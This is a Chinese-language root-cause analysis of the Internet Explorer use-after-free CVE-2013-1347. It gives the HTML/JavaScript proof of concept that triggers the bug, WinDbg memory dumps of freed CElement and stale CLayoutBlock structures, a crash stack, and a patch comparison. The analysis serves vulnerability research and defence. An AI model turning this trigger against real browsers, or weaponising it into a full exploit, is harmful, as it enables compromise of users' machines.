CVE-2013-1347 UAF分析
1. POC
<!doctype html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> <meta> <?IMPORT namespace="t" implementation="#default#time2"> </meta> <script> function helloWorld() { Math.tan(2,3); f0 = document.createElement('span'); document.body.appendChild(f0); Math.sin(0) f1 = document.createElement('span'); document.body.appendChild(f1); Math.cos(0); f2 = document.createElement('span'); document.body.appendChild(f2); document.body.contentEditable="true"; Math.tan(2,3); f2.appendChild(document.createElement('datalist')); Math.sin(0); f1.appendChild(document.createElement('span')); Math.cos(5); f1.appendChild(document.createElement('table')); Math.tan(2,3) try { f0.offsetParent=null;} catch(e) { } Math.sin(0); f2.innerHTML = ""; Math.cos(0); f0.appendChild(document.createElement('hr')); Math.tan(2,3); f1.innerHTML = ""; Math.sin(0); CollectGarbage(); Math.cos(0); } </script> </head> <body onload="eval(helloWorld());"> </body> </html>
2. 基本知识点
IE在构建DOM树的过程中,使用CTreeNode来作为构建DOM树的数据结构。CTreeNode中包含CTreePos元素,beginPos,endPos来指明节点的起始标记和终止标记。
CTreeNode +x44指向CLayoutBlock。
在DOM树构建时,进行Layout时,会生成相应的数据结构CLayoutBlock来记录布局的信息。CLayoutBlock的继承类CTextBlock在+x58处指向一个数组,基本格式如下:
给数组记录各个标记的信息。
arrayElement:
+x00: flag (具体含义不清)
+x04:在数组中的index
+x08: CTreePos
+x0c: CTreePos所在的CTreeNode或者是(非节点类型的元素)CTreeDataPos
CLayoutBlock
+x0c: beginPos
+x10:endPos
+1c: pPrevBlock
+20:pNextBlock
CLayoutBlock作为一个双向链表,将所有的CLayoutBlock给链接起来。
这里需要注意的问题是,DOM数据结构的改变和CLayoutBlock的更新不是同步的(要是只要有DOM改变就更新CLayoutBlock的话,效率太低),CLayoutBlock的更新只有在需要重绘时才会进行。
3. 元素的创建
3.1 CTreeNode CElement在执行到Poc中的如下语句时,元素基本创建完成。
try { f0.offsetParent=null;} catch(e) { } F0CElement0:008> dc eax0a832fd8 3e5cf7e0 00000001 00000008 00000000 ../>............0a832fe8 00000000 00000000 0000005b 00000000 ........[.......0a832ff8 00000000 09378fe8 ???????? ???????? ......7.???????? CTreeNode0:008> dc eax0aae2fb0 0a832fd8 0e146fb0 ffff005b ffffffff ./...o..[.......0aae2fc0 00000000 00000000 00000000 00000000 ................0aae2fd0 00000000 00000000 00000000 00000000 ................0aae2fe0 00000000 00000000 00000000 00000000 ................0aae2ff0 00000008 00000000 00000000 d0d0d0d0 ................ F1CElement0:008> dc eax0b380fd8 3e5cf7e0 00000001 00000008 00000000 ../>............0b380fe8 00000000 00000000 0000005b 00000000 ........[.......0b380ff8 00000000 09378fe8 ???????? ???????? ......7.???????? CTreeNode0:008> dc eax0b3a1fb0 0b380fd8 0e146fb0 ffff005b ffffffff ..8..o..[.......0b3a1fc0 00000000 00000000 00000000 00000000 ................0b3a1fd0 00000000 00000000 00000000 00000000 ................0b3a1fe0 00000000 00000000 00000000 00000000 ................0b3a1ff0 00000008 00000000 00000000 d0d0d0d0 ................ F20:008> dc eax0ba62fd8 3e5cf7e0 00000001 00000008 00000000 ../>............0ba62fe8 00000000 00000000 0000005b 00000000 ........[.......0ba62ff8 00000000 09378fe8 ???????? ???????? ......7.???????? CTreeNode0:008> dc eax0ba72fb0 0ba62fd8 0e146fb0 ffff005b ffffffff ./...o..[.......0ba72fc0 00000000 00000000 00000000 00000000 ................0ba72fd0 00000000 00000000 00000000 00000000 ................0ba72fe0 00000000 00000000 00000000 00000000 ................0ba72ff0 00000008 00000000 00000000 d0d0d0d0 ................ F2 CHILD CGenericElementCElement0:008> dc eax095eafc8 3e5cf7e0 00000001 00000008 00000000 ../>............095eafd8 00000000 00000000 00000075 00000000 ........u.......095eafe8 00000000 09378fe8 00000000 00000000 ......7.........095eaff8 00000000 00000000 ???????? ???????? ........???????? CTreeNode096f2fb0 095eafc8 0ba72fb0 ffff0075 ffffffff ..^../..u.......096f2fc0 00000000 00000000 00000000 00000000 ................096f2fd0 00000000 00000000 00000000 00000000 ................096f2fe0 00000000 00000000 00000000 00000000 ................096f2ff0 00000008 00000000 00000000 d0d0d0d0 ................ F1 child1 spanCElement0:008> dc eax09f14fd8 3e5cf7e0 00000001 00000008 00000000 ../>............09f14fe8 00000000 00000000 0000005b 00000000 ........[.......09f14ff8 00000000 09378fe8 ???????? ???????? ......7.???????? CTreeNode0:008> dc 09f18fb0 09f18fb0 09f14fd8 0b3a1fb0 0007025b 00000024 .O....:.[...$...09f18fc0 00000161 00000001 0b3a1fc0 0aae2fd8 a.........:../..09f18fd0 0b3a1fc0 09f18fd8 00000c72 00000013 ..:.....r.......09f18fe0 0aae2fd8 0ac04fb8 09f18fc0 0a352fc0 ./...O......./5.09f18ff0 00000020 0dc50fa0 00000000 d0d0d0d0 ............... F1 CHILD2 CTableCElement0:008> dc eax0a34efb8 3e5cf7e0 00000001 00000008 00000000 ../>............0a34efc8 00000000 00000000 00000061 00000000 ........a.......0a34efd8 00000000 09378fe8 00000000 00000000 ......7.........0a34efe8 00000000 00000000 00000000 00000000 ................0a34eff8 00000000 d0d0d0d0 0: 0:008> dc eax0a352fb0 0a34efb8 0b3a1fb0 ffff0061 ffffffff ..4...:.a.......0a352fc0 00000000 00000000 00000000 00000000 ................0a352fd0 00000000 00000000 00000000 00000000 ................0a352fe0 00000000 00000000 00000000 00000000 ................0a352ff0 00000008 00000000 00000000 d0d0d0d0 ................
由于Poc中最后的问题在F2 child CGenericElement,所以下面只列出各个阶段F2 child CGenericElement各个状态。
Poc中offsetParent之后
CElement0:008> dc 095eafc8 095eafc8 3e5599f8 00000002 00000008 09632fe8 ..U>........./c.095eafd8 0b8a1dc0 096f2fb0 00000075 80010200 ...../o.u.......095eafe8 00000006 0ac04f30 095ecfec 00000000 ....0O....^.....095eaff8 00000000 00000000 ???????? ???????? ........???????? F2 inner0:008> dc 095eafc8 095eafc8 3e5599f8 00000002 00000008 09632fe8 ..U>........./c.095eafd8 0b8a1dc0 00000000 80000075 80010000 ........u.......095eafe8 00000006 0a96ffe8 095ecfec 00000000 ..........^.....095eaff8 00000000 00000000 ???????? ???????? ........???????? F0 child0:008> dc 095eafc8 095eafc8 3e5599f8 00000001 00000008 09632fe8 ..U>........./c.095eafd8 0b8a1dc0 00000000 80000075 80010000 ........u.......095eafe8 00000006 0a96ffe8 095ecfec 00000000 ..........^.....095eaff8 00000000 00000000 ???????? ???????? ........???????? F1 inner0:008> dc 095eafc8 095eafc8 3e5599f8 00000001 00000008 09632fe8 ..U>........./c.095eafd8 0b8a1dc0 00000000 80000075 80010000 ........u.......095eafe8 00000006 0a96ffe8 095ecfec 00000000 ..........^.....
到GC之后,CElement元素已经释放。
0:008> dc 095eafc8 (已经释放)095eafc8 ???????? ???????? ???????? ???????? ????????????????095eafd8 ???????? ???????? ???????? ???????? ????????????????095eafe8 ???????? ???????? ???????? ???????? ????????????????095eaff8 ???????? ???????? ???????? ???????? ????????????????095eb008 ???????? ???????? ???????? ???????? ????????????????095eb018 ???????? ???????? ???????? ???????? ????????????????095eb028 ???????? ???????? ???????? ???????? ????????????????095eb038 ???????? ???????? ???????? ???????? ????????????????
下面看看CTreeNode的内容:
offsetParent0:008> dc 096f2fb0 096f2fb0 095eafc8 0ba72fb0 00070275 00000024 ..^../..u...$...096f2fc0 00000061 00000000 096f2fd8 0ba72fc0 a......../o../..096f2fd0 0ba72fc0 096f2fd8 00000062 00000000 ./.../o.b.......096f2fe0 00000000 096f2fc0 096f2fc0 09638fe0 ...../o../o...c.096f2ff0 00000018 0abccfa0 00000000 d0d0d0d0 ................ F2 inner 0:008> dc096f2fb0 095eafc8 00000000 ffff0075 ffffffff ..^.....u.......096f2fc0 00000071 00000000 00000000 00000000 q...............096f2fd0 00000000 096f2fd8 00000152 00000001 ...../o.R.......096f2fe0 00000000 00000000 096f2fc0 00000000 ........./o.....096f2ff0 00000010 00000000 00000000 d0d0d0d0 ................ F0 child0:008> dc 096f2fb0 096f2fb0 095eafc8 00000000 ffff0075 ffffffff ..^.....u.......096f2fc0 00000071 00000000 00000000 00000000 q...............096f2fd0 00000000 096f2fd8 00000152 00000001 ...../o.R.......096f2fe0 00000000 00000000 096f2fc0 00000000 ........./o.....096f2ff0 00000010 00000000 00000000 d0d0d0d0 ................ F1 inner0:008> dc 096f2fb0 096f2fb0 095eafc8 00000000 ffff0075 ffffffff ..^.....u.......096f2fc0 00000071 00000000 00000000 00000000 q...............096f2fd0 00000000 096f2fd8 00000152 00000001 ...../o.R.......096f2fe0 00000000 00000000 096f2fc0 00000000 ........./o.....096f2ff0 00000010 00000000 00000000 d0d0d0d0 ................ GC0:008> dc 096f2fb0 096f2fb0 095eafc8 00000000 ffff0075 ffffffff ..^.....u.......096f2fc0 00000071 00000000 00000000 00000000 q...............096f2fd0 00000000 096f2fd8 00000152 00000001 ...../o.R.......096f2fe0 00000000 00000000 096f2fc0 00000000 ........./o.....096f2ff0 00000010 00000000 00000000 d0d0d0d0 ................
可以看到,GC之后,F2 child CGenericElement已经释放,但是其CTreeNode仍然存在,并且指向CElement。
3.2 CLayoutBlock GC
下满看看GC之后CLayoutBlock的内容
3.2.1 F0 CTextBlock
dc 0dc50fa00dc50fa0 3e6b94a8 00000004 00a7c497 0aae2fc0(begin pos) ..k>........./..0dc50fb0 09f18fd8 (end pos) 0e158fc8 00000000 0bcbbfa0 ................0dc50fc0 0b94efb0 0e07cfc0 ffffffff ffffffff ................0dc50fd0 00000000 0a259f10 00000000 00000000 ......%.........0dc50fe0 00000000 0e146fb0 00000007 3e5cf484 .....o......../>0dc50ff0 00000018 00000006 0b94afa0 d0d0d0d0 ................0dc51000 ???????? ???????? ???????? ???????? ????????????????0dc51010 ???????? ???????? ???????? ???????? ????????????????0:008> dc 0b94afa00b94afa0 00000805 00000001 0aae2fc0 0aae2fb0(f0 begin) ........./.../..0b94afb0 00000806 00000002 0aae2fd8 0aae2fb0(f0 end) ........./.../..0b94afc0 00000805 00000003 0b3a1fc0 0b3a1fb0(f1 begin) ..........:...:.0b94afd0 00000805 00000004 09f18fc0 09f18fb0(f1 chid1 span begin) ................0b94afe0 00000806 00000005 09f18fd8 09f18fb0(f1 child1 span end) ................0b94aff0 00000806 00000006 0a352fc0 0b3a1fb0(f1 other) ........./5...:.
F0 的CTextBlock中,包含了
F0 BEGIN POS
F0 END POS
F1 BEGINPOS
F1 CHILD1 SPAN BEGINPOS
F1 CHILD1 SPAN ENDPOS
由于F1 CHILD2 CTable需要特殊的渲染,故做为一个单独的CLayoutBlock进行存在。其地址由F0 CTextBlock +x20处给出0b94efb0
。
3.2.2 F1 child2 CTable LayoutBlock
dc 0b94efb00b94efb0 3e6b954c 00000002 0327c191 0a352fc0 L.k>......'../5.0b94efc0 00000000 0e158fc8 00000000 0dc50fa0 ................0b94efd0 0bcbbfa0 0d85ffd8 ffffffff ffffffff ................0b94efe0 00000000 0bdecf10 3e5cf484 00000000 ........../>....
3.2.3 F2 CTextBlock
dc 0bcbbfa00bcbbfa0 3e6b94a8 00000003 00a64497 0ba72fc0 ..k>.....D.../..0bcbbfb0 0ba72fd8 0e158fc8 00000000 0b94efb0 ./..............0bcbbfc0 00000000 0dc3efc0 ffffffff ffffffff ................0bcbbfd0 0a259f10 00000000 00000000 00000000 ..%.............0bcbbfe0 00000000 0e146fb0 00000007 3e5cf484 .....o......../>0bcbbff0 00000010 00000004 0bccbfc0 d0d0d0d0 ................0:008> dc 0bccbfc00bccbfc0 00000805 00000001 0ba72fc0 0ba72fb0(f2 begin) ........./.../..0bccbfd0 00000805 00000002 096f2fc0 096f2fb0 (f2 child begin) ........./o../o.0bccbfe0 00000806 00000003 096f2fd8 096f2fb0 (f2 child end )........./o../o.0bccbff0 00000806 00000004 0ba72fd8 0ba72fb0 (f2 end)........./.../..
从上面可以看出,GC之后,
F2 CTextBlock包含了:
F2 BEGINPOS
F2 CHILD BEGINPOS
F2 CHILD ENDPOS
F2 ENDPOS
从上面可以看出,GC之后,DOM已经改变,但CLayoutBlock没有变化。
4. 元素的释放
到GC之后,F2 CHILD CElement元素已经释放。0:008> dc 095eafc8 (已经释放)095eafc8 ???????? ???????? ???????? ???????? ????????????????095eafd8 ???????? ???????? ???????? ???????? ????????????????095eafe8 ???????? ???????? ???????? ???????? ????????????????095eaff8 ???????? ???????? ???????? ???????? ????????????????095eb008 ???????? ???????? ???????? ???????? ????????????????095eb018 ???????? ???????? ???????? ???????? ????????????????095eb028 ???????? ???????? ???????? ???????? ????????????????095eb038 ???????? ???????? ???????? ???????? ???????????????? CTreeNode0:008> dc 096f2fb0 096f2fb0 095eafc8 00000000 ffff0075 ffffffff ..^.....u.......096f2fc0 00000071 00000000 00000000 00000000 q...............096f2fd0 00000000 096f2fd8 00000152 00000001 ...../o.R.......096f2fe0 00000000 00000000 096f2fc0 00000000 ........./o.....096f2ff0 00000010 00000000 00000000 d0d0d0d0 ................
可以看到,GC之后,F2 child CGenericElement已经释放,但是其CTreeNode仍然存在,并且指向CElement。
5. 重用
5.1 重绘之后的CLayoutBlock
在POC的如下语句中,会创建F0 CHILD。
f0.appendChild(document.createElement('hr'));
F0 CHILD CTreeNode
0:008> dc 0ac42fb0
0ac42fb0 0ac36fd8 0aae2fb0 00082230 00100015 .o.../..0"......
0ac42fc0 00000061 00000000 0aae2fd8 0aae2fc0 a......../.../..
0ac42fd0 0aae2fc0 0ac42fd8 00000072 00000000 ./.../..r.......
0ac42fe0 00000000 0aae2fd8 0ac42fc0 0aae2fd8 ...../.../.../..
0ac42ff0 00000010 0a758fc8 00000000 d0d0d0d0 ......u.........
重绘之后的CLayoutBlock链表。
5.1.1 F0
dc 0dc50fa0
0dc50fa0 3e6b94a8 00000003 00a7c497 0aae2fc0 ..k>........./..
0dc50fb0 0aae2fc0 0e158fc8 00000000 0bcbbfa0 ./..............
0dc50fc0 0a24dfc8 0e07cfc0 ffffffff ffffffff ..$.............
0dc50fd0 0a259f10 0a259f10 00000002 00000005 ..%...%.........
0dc50fe0 00000001 0e146fb0 00000007 3e5cf484 .....o......../>
0dc50ff0 00000008 00000004 0a1aefc0 d0d0d0d0 ................
0:008> dc 0a1aefc0
0a1aefc0 00000805 00000001 0aae2fc0 0aae2fb0(F0 BEGIN) ........./.../..
0a1aefd0 00000806 00000002 09dfafc0 0aae2fb0(F0 OTHER) ............./..
0a1aefe0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
0a1aeff0 c0c0c0c0 c0c0c0c0 c0c0c0c0 c0c0c0c0 ................
5.1.2 F0 Child
0:008> dc 0a24dfc8
0a24dfc8 3e6b949c 00000002 0005e199 09dfafc0 ..k>............
0a24dfd8 00000000 0e158fc8 00000000 0dc50fa0 ................
0a24dfe8 0a2c0fa0 00000000 ffffffff ffffffff ..,.............
0a24dff8 00000000 00000000 ???????? ???????? ........????????
5.1.3 F1
dc 0a2c0fa0
0a2c0fa0 3e6b94a8 00000004 0005e497 0b3a1fc0 ..k>..........:.
0a2c0fb0 0ba72fd8 0e158fc8 00000000 0a24dfc8 ./............$.
0a2c0fc0 0bcbbfa0 00000000 ffffffff ffffffff ................
0a2c0fd0 0a259f10 00000000 00000000 00000000 ..%.............
0a2c0fe0 00000006 0e146fb0 00000007 3e5cf484 .....o......../>
0a2c0ff0 00000010 00000004 0a2ecfc0 d0d0d0d0 ................
0:008> dc 0a2ecfc0
0a2ecfc0 00000805 00000001 0b3a1fc0 0b3a1fb0(F1 BEGIN) ..........:...:.
0a2ecfd0 00000806 00000002 0b3a1fd8 0b3a1fb0(F1 END) ..........:...:.
0a2ecfe0 00000805 00000003 0ba72fc0 0ba72fb0(F2 BEGIN) ........./.../..
0a2ecff0 00000806 00000004 0ba72fd8 0ba72fb0(F2 END) ........./.../..
在重绘的过程中,由于F1的子节点都被销毁,所以F1 CLayoutBlock被更新,由于F2
的渲染类型和F1相同,所以他被合并到F1中。
F1 BEGIN
F2 END
F2 BEGIN
F2 END
下面看看F1 CLayoutBlock +x20处的指针,指向0bcbbfa0。
而由上面的分析可知,0bcbbfa0指向的是F2 CTextBlock,由于F2已被合并到F1种,这个CLayoutBlock本该删去,但是却仍然存在,就是这里的这个结构,导致了问题所在。
5.1.4 F2 CTextBlock 错误的CLayoutBlock
dc 0bcbbfa0
0bcbbfa0 3e6b94a8 00000003 00a64497 0ba72fc0 ..k>.....D.../..
0bcbbfb0 0ba72fd8 0e158fc8 00000000 0b94efb0 ./..............
0bcbbfc0 00000000 0dc3efc0 ffffffff ffffffff ................
0bcbbfd0 0a259f10 00000000 00000000 00000000 ..%.............
0bcbbfe0 00000000 0e146fb0 00000007 3e5cf484 .....o......../>
0bcbbff0 00000010 00000004 0bccbfc0 d0d0d0d0 ................
0:008> dc 0bccbfc0
0bccbfc0 00000805 00000001 0ba72fc0 0ba72fb0(f2 begin) ........./.../..
0bccbfd0 00000805 00000002 096f2fc0 096f2fb0 (f2 child begin) ........./o../o.
0bccbfe0 00000806 00000003 096f2fd8 096f2fb0 (f2 child end )........./o../o.
0bccbff0 00000806 00000004 0ba72fd8 0ba72fb0 (f2 end)........./.../..
从上面可以看出,GC之后,
F2 CTextBlock包含了:
F2 BEGINPOS
F2 CHILD BEGINPOS
F2 CHILD ENDPOS
F2 ENDPOS
从上面可以看出,重绘之后,虽然CLayout已经更新,但由于错误,导致该释放的CLayoutBlock仍然存在,最终导致了错误。
5.2 重用触发
由于上面的CLayoutBlock错误的存在,导致在使用该数据结构时会导致崩溃。
0:008> p(f9c.fc0): Access violation - code c0000005 (first chance)First chance exceptions are reported before any exception handling.This exception may be expected and handled.eax=3ea30080 ebx=096f2fb0 ecx=095eafc8 edx=00000000 esi=02e5d190 edi=00000000eip=3e5d67d0 esp=02e5d164 ebp=02e5d17c iopl=0 nv up ei pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050246mshtml!CElement::Doc:3e5d67d0 8b01 mov eax,dword ptr [ecx] ds:0023:095eafc8=????????0:008> kvChildEBP RetAddr Args to Child 02e5d160 3e5748d1 02e5d4ac 096f2fb0 00000000 mshtml!CElement::Doc (FPO: [0,0,0])02e5d17c 3e574b3a 096f2fb0 02e5d4ac 096f2fb0 mshtml!CTreeNode::ComputeFormats+0xb902e5d428 3e583637 096f2fb0 096f2fb0 02e5d448 mshtml!CTreeNode::ComputeFormatsHelper+0x4402e5d438 3e5835f7 096f2fb0 096f2fb0 02e5d458 mshtml!CTreeNode::GetFancyFormatIndexHelper+0x1102e5d448 3e5835de 096f2fb0 096f2fb0 02e5d464 mshtml!CTreeNode::GetFancyFormatHelper+0xf02e5d458 3e695377 096f2fb0 02e5d474 3e69513b mshtml!CTreeNode::GetFancyFormat+0x3502e5d464 3e69513b 00000000 096f2fb0 02e5d484 mshtml!ISpanQualifier::GetFancyFormat+0x5a02e5d474 3e68a9ef 00000000 0c55cfa0 02e5d4bc mshtml!SLayoutRun::HasInlineMbp+0x1002e5d484 3e6920ba 00000000 00000000 0c55cfa0 mshtml!SRunPointer::HasInlineMbp+0x5302e5d4bc 3e69201f 02e5d4db 00000000 00000000 mshtml!CLayoutBlock::GetIsEmptyContent+0xf102e5d4f4 3e647798 02e5d55f 02e5d573 0be56ff0 mshtml!CLayoutBlock::GetIsEmptyContent+0x3f02e5d540 3e6782ae 0e158fc8 0be56f30 0e146fd8 mshtml!CBlockContainerBlock::BuildBlockContainer+0x25002e5d578 3e67bab8 0be56f30 00000000 0be62fc8 mshtml!CLayoutBlock::BuildBlock+0x1c102e5d63c 3e67b968 01e56f30 0be46fa8 02e5d663 mshtml!CCssDocumentLayout::GetPage+0x22a02e5d7ac 3e5bbca7 02e5d970 02e5d908 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x24702e5d8e4 3e5ce8ae 0be46fa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b802e5d9e0 3e79b38f 00100000 02e5da38 0968bfd8 mshtml!CLayout::DoLayout+0x11d02e5d9f4 3e5a90ab 02e5da38 02e5da38 3e5b232f mshtml!CCssPageLayout::Notify+0x14002e5da00 3e5b232f 00000000 0968dfb0 00000000 mshtml!NotifyElement+0x41 (FPO: [0,0,0])02e5da14 3e5a9277 02e5da38 0968dfb0 00000000 mshtml!NotifyTreeNode+0x6202e5da6c 3e5a71c2 02e5db00 093286a8 02e5db00 mshtml!NotifyAncestors+0x1b602e5dac4 3e5a7135 0ac04f30 00000000 0932876c mshtml!CMarkup::SendNotification+0x9202e5daec 3e5b222a 02e5db00 09328898 3e5826eb mshtml!CMarkup::Notify+0xd402e5db34 3e585322 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a02e5db58 3e6b11d6 0ba62fd8 00000001 02e5dcb4 mshtml!CElement::EnsureRecalcNotify+0x15f02e5dc7c 3e59fc8f 05c7bfd0 00000000 02e5dcc0 mshtml!CCaret::UpdateScreenCaret+0x23502e5dc8c 3e5ea349 05c7bfd0 093286a8 08554d58 mshtml!CCaret::DeferredUpdateCaret+0x3202e5dcc0 3e5d4fe6 02e5dd48 3e5d4f38 00000000 mshtml!GlobalWndOnMethodCall+0xfb02e5dce0 77d18734 000202a2 00000008 00000000 mshtml!GlobalWndProc+0x18302e5dd0c 77d18816 3e5d4f38 000202a2 00008002 USER32!InternalCallWinProc+0x2802e5dd74 77d189cd 00000000 3e5d4f38 000202a2 USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])02e5ddd4 77d18a10 02e5de08 00000000 02e5feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])02e5dde4 3edcc015 02e5de08 00000000 01cbcf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])02e5feec 3ed735b6 02616fe0 0040128e 0262cff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])02e5ffa4 3ec1408d 01cbcf58 7c817067 02e5ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])02e5ffb4 7c80b713 0262cff0 0040128e 7c817067 iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])02e5ffec 00000000 3ec1407f 0262cff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])
6. 补丁对比
CBlockContainerBlock:: BuildBlockContainer函数中,会对CLayoutBlock进行重绘。重绘的基本算法是:
1、 根据重绘时当时的CTreeNode节点去去生成CLayoutBlock。
2、 如果CTreeNode没有关联的CLayoutBlock,则生成相应的CLayoutBlock,如果存在,则将CTreeNode加入到CLayoutBlock中。
3、 在遍历CTreeNode的同事,也会对CLayoutBlock进行遍历,当前的CTreeNode指向的CLayoutBlock和当前的节点不一致时,需要删去改CTreeNode。
4、 当CTreeNode遍历完成之后,如果当前的CLayoutBlock的指针pLastLayoutBlock不为空,则需要进行的操作:
6.1 未补丁时的操作:
会对参数传递进来的CLayoutBlock +0x08处的第11 useflag位是否置位进行判断(一般是CRootElement对应的CLayoutBlock),如果未置位,则不会进入到RemoveChild的流程中。
下图是调试过程中的部分截图,可以看到,运行到此处时,useflag未置位,导致pLastLayoutBlock 指向的CLayoutBlock未被删除。
kvChildEBP RetAddr Args to Child 02e5d540 3e6782ae 0e158fc8 0be56f30 00000000 mshtml!CBlockContainerBlock::BuildBlockContainer+0x502e5d578 3e67bab8 0be56f30 00000000 0be62fc8 mshtml!CLayoutBlock::BuildBlock+0x1c102e5d63c 3e67b968 01e56f30 0be46fa8 02e5d663 mshtml!CCssDocumentLayout::GetPage+0x22a02e5d7ac 3e5bbca7 02e5d970 02e5d908 00000000 mshtml!CCssPageLayout::CalcSizeVirtual+0x24702e5d8e4 3e5ce8ae 0be46fa8 00000000 00000000 mshtml!CLayout::CalcSize+0x2b802e5d9e0 3e79b38f 00100000 02e5da38 0968bfd8 mshtml!CLayout::DoLayout+0x11d02e5d9f4 3e5a90ab 02e5da38 02e5da38 3e5b232f mshtml!CCssPageLayout::Notify+0x14002e5da00 3e5b232f 00000000 0968dfb0 00000000 mshtml!NotifyElement+0x41 (FPO: [0,0,0])02e5da14 3e5a9277 02e5da38 0968dfb0 00000000 mshtml!NotifyTreeNode+0x6202e5da6c 3e5a71c2 02e5db00 093286a8 02e5db00 mshtml!NotifyAncestors+0x1b602e5dac4 3e5a7135 0ac04f30 00000000 0932876c mshtml!CMarkup::SendNotification+0x9202e5daec 3e5b222a 02e5db00 09328898 3e5826eb mshtml!CMarkup::Notify+0xd402e5db34 3e585322 0000000f 00000000 00000000 mshtml!CElement::SendNotification+0x4a02e5db58 3e6b11d6 0ba62fd8 00000001 02e5dcb4 mshtml!CElement::EnsureRecalcNotify+0x15f02e5dc7c 3e59fc8f 05c7bfd0 00000000 02e5dcc0 mshtml!CCaret::UpdateScreenCaret+0x23502e5dc8c 3e5ea349 05c7bfd0 093286a8 08554d58 mshtml!CCaret::DeferredUpdateCaret+0x3202e5dcc0 3e5d4fe6 02e5dd48 3e5d4f38 00000000 mshtml!GlobalWndOnMethodCall+0xfb02e5dce0 77d18734 000202a2 00000008 00000000 mshtml!GlobalWndProc+0x18302e5dd0c 77d18816 3e5d4f38 000202a2 00008002 USER32!InternalCallWinProc+0x2802e5dd74 77d189cd 00000000 3e5d4f38 000202a2 USER32!UserCallWinProcCheckWow+0x150 (FPO: [Non-Fpo])02e5ddd4 77d18a10 02e5de08 00000000 02e5feec USER32!DispatchMessageWorker+0x306 (FPO: [Non-Fpo])02e5dde4 3edcc015 02e5de08 00000000 01cbcf58 USER32!DispatchMessageW+0xf (FPO: [Non-Fpo])02e5feec 3ed735b6 02616fe0 0040128e 0262cff0 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])02e5ffa4 3ec1408d 01cbcf58 7c817067 02e5ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO: [Non-Fpo])02e5ffb4 7c80b713 0262cff0 0040128e 7c817067 iertutil!CIsoScope::RegisterThread+0xab (FPO: [Non-Fpo])02e5ffec 00000000 3ec1407f 0262cff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo]) dc poi(ebp+8)0e158fc8 3e6b949c 00000004 00264099 0e146fc0 ..k>.....@&..o..0e158fd8 00000000 0be62fc8 0dc50fa0 0e158fc8 ...../..........0e158fe8 00000000 0e166fd8 ffffffff ffffffff .....o..........0e158ff8 0dc4ef10 00000000 ???????? ???????? ........????????0e159008 ???????? ???????? ???????? ???????? ????????????????0e159018 ???????? ???????? ???????? ???????? ????????????????0e159028 ???????? ???????? ???????? ???????? ????????????????0e159038 ???????? ???????? ???????? ???????? ???????????????? .formats 00264099Evaluate expression: Hex: 00264099 Decimal: 2506905 Octal: 00011440231 Binary: 00000000 00100110 01000000 10011001 Chars: .&@. Time: Fri Jan 30 08:21:45 1970 Float: low 3.51292e-039 high 0 Double: 1.23858e-317
CTextBlockdc ebp - 0c02e5d534 0bcbbfa0 0bd89fa0 00146fc0 02e5d578 .........o..x...02e5d544 3e6782ae 0e158fc8 0be56f30 0e146fd8 ..g>....0o...o..02e5d554 00000003 00000000 00e5d600 00000000 ................02e5d564 00000009 0be56f30 3e6b9653 00000009 ....0o..S.k>....02e5d574 00000000 02e5d63c 3e67bab8 0be56f30 ....<.....g>0o..02e5d584 00000000 0be62fc8 00000009 00000009 ...../..........02e5d594 00000000 02e5d900 02e5d600 00000003 ................02e5d5a4 00000000 00000000 02e5d604 02e5d600 ................ dc 0bcbbfa00bcbbfa0 3e6b94a8 00000002 00a64497 0ba72fc0 ..k>.....D.../..0bcbbfb0 0ba72fd8 0e158fc8 00000000 0bd89fa0 ./..............0bcbbfc0 00000000 0dc3efc0 ffffffff ffffffff ................0bcbbfd0 0a259f10 00000000 00000000 00000000 ..%.............0bcbbfe0 00000000 0e146fb0 00000007 3e5cf484 .....o......../>0bcbbff0 00000010 00000004 0bccbfc0 d0d0d0d0 ................0bcbc000 ???????? ???????? ???????? ???????? ????????????????0bcbc010 ???????? ???????? ???????? ???????? ???????????????? dc 0bccbfc00bccbfc0 00000805 00000001 0ba72fc0 0ba72fb0 ........./.../..0bccbfd0 00000805 00000002 096f2fc0 096f2fb0 ........./o../o.0bccbfe0 00000806 00000003 096f2fd8 096f2fb0 ........./o../o.0bccbff0 00000806 00000004 0ba72fd8 0ba72fb0 ........./.../..0bccc000 ???????? ???????? ???????? ???????? ????????????????0bccc010 ???????? ???????? ???????? ???????? ????????????????0bccc020 ???????? ???????? ???????? ???????? ????????????????0bccc030 ???????? ???????? ???????? ???????? ????????????????
6.2 补丁时的操作
打过补丁后,可以看到,RemoveChild删去的操作,仅仅在pLastLayoutBlock指向的CLayoutBlock v40不为空时就执行,不会再判断参数传递进来的CLayoutBlock +0x08处的第11 useflag位是否置位。
下面是调试时的信息。
6.2.1 Break
3dbf81fb 0001 (0001) 0:**** mshtml!CBlockContainerBlock::BuildBlockContainer
3dc40458 0001 (0001) 0:**** mshtml!CLayoutBlock::RemoveChild
3dd1f50f 0001 (0001) 0:**** mshtml!CBlockContainerBlock::BuildBlockContainer+0x4ec
